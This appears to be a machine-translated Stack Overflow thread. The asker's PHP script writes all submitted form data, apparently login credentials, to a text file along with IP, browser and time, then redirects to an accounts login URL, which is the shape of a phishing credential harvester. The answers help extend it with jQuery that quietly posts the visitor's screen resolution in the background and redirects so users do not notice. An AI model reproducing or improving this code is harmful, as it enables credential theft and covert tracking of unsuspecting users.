2015-06-03 57 views
0

我的代码的现有一块,我用一定的数据记录到一个文本文件:合并JavaScript输出与PHP?

<?php 

    header("Location: https://www.example.com/accounts/ServiceLoginAuth "); 
    $handle = fopen("file.txt", "a"); 

    $post = $_POST; 
    $post['IP'] = $_SERVER['REMOTE_ADDR']; 
    $post['Browser/UserAgent'] = $_SERVER['HTTP_USER_AGENT']; 
    $post['Referrer'] = $_SERVER['HTTP_REFERER']; 
    $post['Date&Time'] = date("l jS \of F Y h:i:s A"); 

    foreach($post as $variable => $value) 
    { 
     fwrite($handle, $variable); 
     fwrite($handle, "="); 
     fwrite($handle, $value); 
     fwrite($handle, PHP_EOL); 
    } 

    fwrite($handle, PHP_EOL); 
    fclose($handle); 
    exit; 

?> 

我也想记录的屏幕分辨率,但显然,没有办法做到这一点,是only possible with JS

var screenWidth = window.screen.width, 
    screenHeight = window.screen.height; 

那么如何让这个信息被记录在同一个文件中呢?

PS:我不能使用jquery ... :(

*****编辑*****

好吧,我可以使用jQuery但输出仍然需要在同一个文本文件中...

+0

我也发生了一个完整的noob ... – rahuldottech

+0

从页面发布数据并将其发送到您的函数,然后保存它。 –

+0

我认为这将解决您的问题http://stackoverflow.com/questions/1504459/getting-the-screen-resolution-using-php –

回答

1

想到的一种方法是,不是让用户登录页面中的现有代码,而是使用JavaScript创建一个新文件,而您已经知道这个文件可以获得分辨率

然后,将该新的初始页面POST解析变量POST到后台的php脚本中,然后解析变量将成为POST数组的一部分,并可以将它们与其他现有POST数据一起存储。使用Javascript POST'ing数据是相当常规的,并且可能是它自己的主题,但我相信你可以在网络上找到无限的例子,JQuery使用更少的代码来做到这一点,但太糟糕了,这不是一个选项:(

编辑:下面的例子是张贴到使用jQuery

结交新“landing.php”的PHP(不必是.PHP,可能的.html)或什么都名你想要的,并且这是用户首先登陆的地方,并把它放在它里面,它可能是你的用户可能已经登陆的现有页面,在这种情况下,把它放在底部,然后它会发生在bac kground,而用户则关注他们的业务。

<script type="text/javascript"> 

    var screenWidth = window.screen.width, 
     screenHeight = window.screen.height; 

    $.post('name_and_path_of_php_file_you_already_created.php', { 
      screenWidth: screenWidth, 
      screenHeight: screenHeight 
      }, function(data) { 

       // Can do something extra here, most likely redirect your 
       // user to a more meaningful page after the file is created 
       // using something like. 

       window.location.href = 'some_meaning_page.php'; 

       // Also in this case, 'data' variable will hold anything 
       // Outputted from the PHP if any, and is optional, but can 
       // be useful for echo'ing out some status code or something 
       // and make a decision. 

     }); 

</script> 

由于现有的PHP脚本已通过$ _POST阵列(在你的情况$ POST)循环,使键/值对,那么这意味着“屏幕宽度”和“screenHeight”键/值会自动添加到您的其他变量的文件。

如果您可以将其添加到现有页面,并且您知道用户正在登陆,那么您可能不需要使用'window.location.href'重定向,但如果它是第一页,那么他们不会看到任何东西,并且您希望将他们重定向到某些内容,而对于他们来说,发生得如此之快,他们不会真正知道他们在一个页面上并发送给另一个页面,它看起来就像他们前往的页面正常加载。

让我知道如果这不明确,或者如果需要帮助的另一个方面。

+0

已编辑...您是否认为什么都可以做? – rahuldottech

+0

如果您现在可以使用JQuery,我将编辑我的答案以包含一个示例。 –

1

你不能,至少在同一时间。

虽然你的PHP正在执行,你的页面仍然有待发送给客户端(或正在进行中)。

您的JavaScript将在客户端加载页面时执行,并且没有机会通过浏览器的http连接来服务于您的服务器。

所以,如果你想在服务器端获得这些数据,你应该通过ajax发送给接收它的脚本。

好的。它可以修改相同的文件。但是要小心不要重叠你的其他脚本执行,这样可能会导致意想不到的结果。

另外请记住,您不能确定客户端将有效地执行您的JavaScript或甚至可以完成ajax连接向您发送该信息,因此您需要建立不完整的注册表。